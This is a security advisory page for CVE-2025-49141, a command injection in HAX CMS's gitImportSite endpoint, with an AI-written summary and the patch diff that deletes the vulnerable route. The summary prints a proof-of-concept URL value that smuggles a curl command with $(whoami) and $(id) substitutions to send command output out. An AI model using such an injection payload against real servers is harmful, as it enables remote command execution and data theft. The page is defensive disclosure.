HaxCMS-PHP Command Injection Vulnerability
Description
HAX CMS PHP allows users to manage their microsite universe with a PHP backend. Prior to version 11.0.3, the gitImportSite functionality obtains a URL string from a POST request and insufficiently validates user input. The set_remote function later passes this input into proc_open, yielding OS command injection. An authenticated attacker can craft a URL string that bypasses the validation checks employed by the filter_var and strpos functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request. Version 11.0.3 contains a patch for the issue.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Authenticated OS command injection in HAX CMS PHP's `gitImportSite` via insufficient URL validation, patched in v11.0.3.
Vulnerability
Overview
HAX CMS PHP, a backend for managing microsite universes, contains an OS command injection vulnerability in its gitImportSite functionality. The set_remote function passes a user-supplied URL string from a POST request directly into proc_open, without adequate sanitization. Prior to version 11.0.3, validation relied solely on filter_var and strpos, which can be bypassed with crafted input containing Bash special characters [1][3].
Exploitation
Details
An authenticated attacker sends a POST request to the /gitImportSite endpoint (or the API route /system/api/gitImportSite) with a malicious JSON payload. The site.git.url field is not properly sanitized, allowing injection of shell commands via special characters such as semicolons and ${IFS}. A proof-of-concept payload like http:///.git;curl${IFS}/$(whoami)/$(id)#=abcdef demonstrates command execution with output exfiltration via HTTP [3]. The endpoint's removal in the patch confirms the attack surface [2].
Impact
Successful exploitation enables an authenticated attacker to execute arbitrary operating system commands on the backend server. This can lead to data exfiltration, lateral movement, or full server compromise, depending on the server's privileges. The attacker can retrieve command output through outbound HTTP requests, bypassing typical egress controls [1][3].
Mitigation
The issue is patched in version 11.0.3, which removes the vulnerable gitImportSite route entirely [2]. Users should update immediately. If immediate patching is not possible, administrators should restrict access to the affected endpoint and monitor for anomalous POST requests to /gitImportSite or /system/api/gitImportSite [1][3].
AI Insight generated on May 20, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
@haxtheweb/haxcms-nodejsnpm | < 11.0.3 | 11.0.3 |
Affected products
3- Range: <11.0.3
- haxtheweb/issuesv5Range: < 11.0.3
Patches
15131fea6b6behttps://github.com/haxtheweb/issues/security/advisories/GHSA-g4cf-pp4x-hqgw
5 files changed · +0 −165
src/lib/RoutesMap.js+0 −1 modified@@ -25,7 +25,6 @@ const RoutesMap = { getConfig: require('../routes/getConfig.js'), setConfig: require('../routes/setConfig.js'), getNodeFields: require('../routes/getNodeFields.js'), - gitImportSite: require('../routes/gitImportSite.js'), }, get: { logout: require('../routes/logout.js'),
src/openapi/spec.json+0 −50 modified@@ -507,56 +507,6 @@ } } }, - "/gitImportSite": { - "post": { - "tags": [ - "cms", - "authenticated", - "site" - ], - "operationId": "Operations::gitImportSite", - "parameters": [ - { - "name": "jwt", - "in": "query", - "description": "JSON Web token, obtain by using /login", - "required": true, - "schema": { - "type": "string" - } - } - ], - "requestBody": { - "content": { - "application/json": { - "schema": { - "required": [ - "site" - ], - "properties": { - "site": { - "type": "object" - } - }, - "type": "object", - "example": { - "site": { - "git": { - "url": "" - } - } - } - } - } - } - }, - "responses": { - "200": { - "description": "Create a new site from a git repo reference" - } - } - } - }, "/getConfig": { "post": { "tags": [
src/openapi/spec.yaml+0 −31 modified@@ -346,37 +346,6 @@ paths: responses: '200': description: 'Load a list of all sites the user has created' - /gitImportSite: - post: - tags: - - cms - - authenticated - - site - operationId: 'Operations::gitImportSite' - parameters: - - - name: jwt - in: query - description: 'JSON Web token, obtain by using /login' - required: true - schema: - type: string - requestBody: - content: - application/json: - schema: - required: - - site - properties: - site: - type: object - type: object - example: - site: - git: { url: '' } - responses: - '200': - description: 'Create a new site from a git repo reference' /getConfig: post: tags:
src/routes/connectionSettings.js+0 −1 modified@@ -52,7 +52,6 @@ async function connectionSettings(req, res) { getUserDataPath: `${baseAPIPath}getUserData`, deleteNodePath: `${baseAPIPath}deleteNode`, createSite: `${baseAPIPath}createSite`, - gitImportSite: `${baseAPIPath}gitImportSite`, downloadSite: `${baseAPIPath}downloadSite`, archiveSite: `${baseAPIPath}archiveSite`, copySite: `${baseAPIPath}cloneSite`,
src/routes/gitImportSite.js+0 −82 removed@@ -1,82 +0,0 @@ -const { HAXCMS } = require('../lib/HAXCMS.js'); -const explode = require('locutus/php/strings/explode'); -const filter_var = require('../lib/filter_var.js'); -const GitPlus = require('../lib/GitPlus.js'); -/** - * @OA\Post( - * path="/gitImportSite", - * tags={"cms","authenticated","site"}, - * @OA\Parameter( - * name="jwt", - * description="JSON Web token, obtain by using /login", - * in="query", - * required=true, - * @OA\Schema(type="string") - * ), - * @OA\RequestBody( - * @OA\MediaType( - * mediaType="application/json", - * @OA\Schema( - * @OA\Property( - * property="site", - * type="object" - * ), - * required={"site"}, - * example={ - * "site": { - * "git": { - * "url": "" - * } - * }, - * } - * ) - * ) - * ), - * @OA\Response( - * response="200", - * description="Create a new site from a git repo reference" - * ) - * ) - */ - async function gitImportSite(req, res) { - if (HAXCMS.validateRequestToken()) { - if ((req.body['site']['git']['url'])) { - let repoUrl = req.body['site']['git']['url']; - // make sure there's a .git in the address - if (filter_var(repoUrl, "FILTER_VALIDATE_URL") !== false && - repoUrl.indexOf('.git') !== -1 - ) { - let ary = explode('/', repoUrl.replace('.git', '')); - let repo_path = ary.pop(); - // @todo check if this fails - directory = HAXCMS.HAXCMS_ROOT + HAXCMS.sitesDirectory + '/' + repo_path; - try { - let git = new GitPlus({ - dir: directory, - cliVersion: await HAXCMS.gitTest() - }); - git.setDir(directory); - let repo = git.create(directory); - repo = git.open(directory, true); - repo.set_remote("origin", repoUrl); - repo.pull('origin', 'master'); - } - catch(e) {} - // load the site that we SHOULD have just pulled in - if (site = await HAXCMS.loadSite(repo_path)) { - res.send({ - 'manifest': site.manifest - }); - } - else { - res.send(500); - } - } - } - res.send(500); - } - else { - res.send(403); - } - } - module.exports = gitImportSite; \ No newline at end of file
Vulnerability mechanics
Generated on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
4- github.com/advisories/GHSA-g4cf-pp4x-hqgwghsaADVISORY
- nvd.nist.gov/vuln/detail/CVE-2025-49141ghsaADVISORY
- github.com/haxtheweb/haxcms-nodejs/commit/5131fea6b6be611db76a618f89bd2e164752e9b3ghsax_refsource_MISCWEB
- github.com/haxtheweb/issues/security/advisories/GHSA-g4cf-pp4x-hqgwghsax_refsource_CONFIRMWEB
News mentions
0No linked articles in our index yet.